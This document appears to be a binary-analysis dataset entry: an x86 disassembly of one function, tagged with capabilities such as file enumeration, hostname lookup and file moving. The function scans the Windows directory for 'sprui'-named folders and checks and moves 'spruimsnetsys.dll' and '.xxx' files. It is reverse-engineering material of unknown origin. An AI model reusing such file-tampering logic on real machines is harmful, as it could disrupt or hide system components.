Function at 0x496470
Capabilities:
Check if file exists
Enumerate files on windows
Get common file path
Get hostname
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5153eb
mov eax, dword fs:[0]
push eax
sub esp, 0x8bc
mov eax, dword [0x58fa2c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x8c8]
push 0
mov dword [ebp - 0x8b4], ebx
call fcn.00480950
mov dword [ebp - 4], 0
mov ecx, ebx
push 1
call fcn.00481020
push 0x104
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.004b8570
add esp, 0xc
mov dword [ebp - 0x8b0], 0x104
lea eax, [ebp - 0x8b0]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x114]
push eax
call fcn.00488700
add esp, 4
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x114]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x219], al
test al, al
jne 0x496520
lea edi, [ebp - 0x218]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x496540
mov eax, dword [0x51bc60]
mov dword [edi], eax
lea eax, [ebp - 0x768]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x8ac], eax
cmp eax, 0xffffffff
je 0x4967e9
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, eax
nop dword [eax]
test byte [ebp - 0x768], 0x10
je 0x4967ba
mov ecx, 0x568808
lea eax, [ebp - 0x73c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4965b8
test dl, dl
je 0x4965b4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4965b8
add eax, 2
add ecx, 2
test dl, dl
jne 0x496598
xor eax, eax
jmp 0x4965bd
sbb eax, eax
or eax, 1
test eax, eax
je 0x4967ba
mov ecx, 0x51ce58
lea eax, [ebp - 0x73c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4965f0
test dl, dl
je 0x4965ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4965f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4965d0
xor eax, eax
jmp 0x4965f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4967ba
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x114]
push eax
call fcn.00488700
lea edx, [ebp - 0x73c]
add esp, 4
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x496626
lea edi, [ebp - 0x114]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x496636
mov ecx, edx
lea eax, [ebp - 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00488700
add esp, 4
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x114]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x219], al
test al, al
jne 0x496660
lea ecx, [ebp - 0x218]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x496680
mov eax, dword [str.sprui.]
mov dword [ecx], eax
mov ax, word [0x5285d8]
mov word [ecx + 4], ax
mov al, byte [0x5285da]
mov byte [ecx + 6], al
lea eax, [ebp - 0x8a8]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4967ae
test byte [ebp - 0x8a8], 0x10
je 0x496777
xor ecx, ecx
mov al, byte [ebp + ecx - 0x114]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x219], al
test al, al
jne 0x4966d1
lea edx, [ebp - 0x87c]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x4966f0
lea edi, [ebp - 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x496700
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x114]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x31d], al
test al, al
jne 0x496720
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x496740
sub ecx, edx
lea eax, [ecx + 1]
push eax
call fcn.004a4577
lea edx, [ebp - 0x31c]
mov esi, eax
mov ecx, edx
add esp, 4
sub esi, ecx
mov cl, byte [edx]
mov byte [esi + edx], cl
inc edx
test cl, cl
jne 0x496761
push eax
lea ecx, [ebp - 0x8c8]
call fcn.00480c70
push pe_nt_image_headers32
lea eax, [ebp - 0x8a8]
push 0
push eax
call fcn.004b8570
add esp, 0xc
lea eax, [ebp - 0x8a8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4966c2
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call esi
jmp 0x4967b4
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [ebp - 0x8ac]
push pe_nt_image_headers32
lea eax, [ebp - 0x768]
push 0
push eax
call fcn.004b8570
add esp, 0xc
lea eax, [ebp - 0x768]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x496580
push ebx
call esi
lea ecx, [ebp - 0x8c8]
call fcn.004812d0
mov edi, eax
test edi, edi
je 0x496a8e
nop
push edi
lea ecx, [ebp - 0x8c8]
call fcn.00481380
mov ecx, edi
mov ebx, eax
call fcn.0042e490
mov esi, eax
test esi, esi
je 0x496a76
push 0x104
lea eax, [ebp - 0x524]
push 0
push eax
call fcn.004b8570
push 0x104
lea eax, [ebp - 0x31c]
push 0
push eax
call fcn.004b8570
push 0x104
lea eax, [ebp - 0x628]
push 0
push eax
call fcn.004b8570
mov edi, esi
mov dword [ebp - 0x8ac], 0
neg edi
lea edx, [ebp - 0x524]
add esp, 0x24
mov ecx, esi
add edx, edi
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x496873
lea ecx, [ebp - 0x524]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x496887
mov eax, dword [str.spruimsnetsys.dll]
lea edx, [ebp - 0x31c]
mov dword [ecx], eax
add edx, edi
mov eax, dword [0x5285e0]
mov dword [ecx + 4], eax
mov eax, dword [0x5285e4]
mov dword [ecx + 8], eax
mov eax, dword [0x5285e8]
mov dword [ecx + 0xc], eax
mov ax, word [0x5285ec]
mov word [ecx + 0x10], ax
mov al, byte [0x5285ee]
mov byte [ecx + 0x12], al
mov ecx, esi
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x4968d0
lea ecx, [ebp - 0x31c]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4968e4
mov eax, dword [str.spruimsnetsys.xxx]
lea edx, [ebp - 0x628]
mov dword [ecx], eax
add edx, edi
mov eax, dword [0x5285f4]
mov dword [ecx + 4], eax
mov eax, dword [0x5285f8]
mov dword [ecx + 8], eax
mov eax, dword [0x5285fc]
mov dword [ecx + 0xc], eax
mov ax, word [0x528600]
mov word [ecx + 0x10], ax
mov al, byte [0x528602]
mov byte [ecx + 0x12], al
mov ecx, esi
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x496930
lea ecx, [ebp - 0x628]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x496944
mov eax, dword [0x528604]
mov dword [ecx], eax
mov ax, word [0x528608]
mov word [ecx + 4], ax
lea eax, [ebp - 0x524]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x496a44
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x524]
push eax
call fcn.004d29ba
add esp, 8
test eax, eax
jne 0x4969da
lea eax, [ebp - 0x31c]
push eax
call fcn.004d296d
add esp, 4
mov dword [ebp - 0x8ac], esi
push esi
test eax, eax
je 0x496a4b
call fcn.004933a0
lea eax, [ebp - 0x628]
mov dword [ebp - 0x8ac], eax
lea eax, [ebp - 0x8ac]
push 1
push eax
lea eax, [ebp - 0x420]
push eax
call fcn.0048c270
lea eax, [ebp - 0x31c]
jmp 0x496a24
lea eax, [ebp - 0x524]
push eax
call fcn.004d296d
add esp, 4
test eax, eax
je 0x496a84
push esi
mov dword [ebp - 0x8ac], esi
call fcn.004933a0
lea eax, [ebp - 0x628]
mov dword [ebp - 0x8ac], eax
lea eax, [ebp - 0x8ac]
push 1
push eax
lea eax, [ebp - 0x420]
push eax
call fcn.0048c270
lea eax, [ebp - 0x524]
mov dword [ebp - 0x8ac], eax
lea eax, [ebp - 0x8ac]
push 1
push eax
lea eax, [ebp - 0x420]
push eax
call fcn.0048c270
add esp, 0x1c
jmp 0x496a84
mov dword [ebp - 0x8ac], esi
push esi
call fcn.004933a0
lea eax, [ebp - 0x628]
mov dword [ebp - 0x8ac], eax
lea eax, [ebp - 0x8ac]
push 1
push eax
lea eax, [ebp - 0x420]
push eax
call fcn.0048c270
add esp, 0x10
jmp 0x496a84
push 0
push edi
lea ecx, [ebp - 0x8c8]
call fcn.004815c0
mov edi, ebx
test ebx, ebx
jne 0x496800
mov ecx, dword [ebp - 0x8b4]
call fcn.00481230
mov esi, eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8c8]
call fcn.00480a10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a4566
mov esp, ebp
pop ebp
ret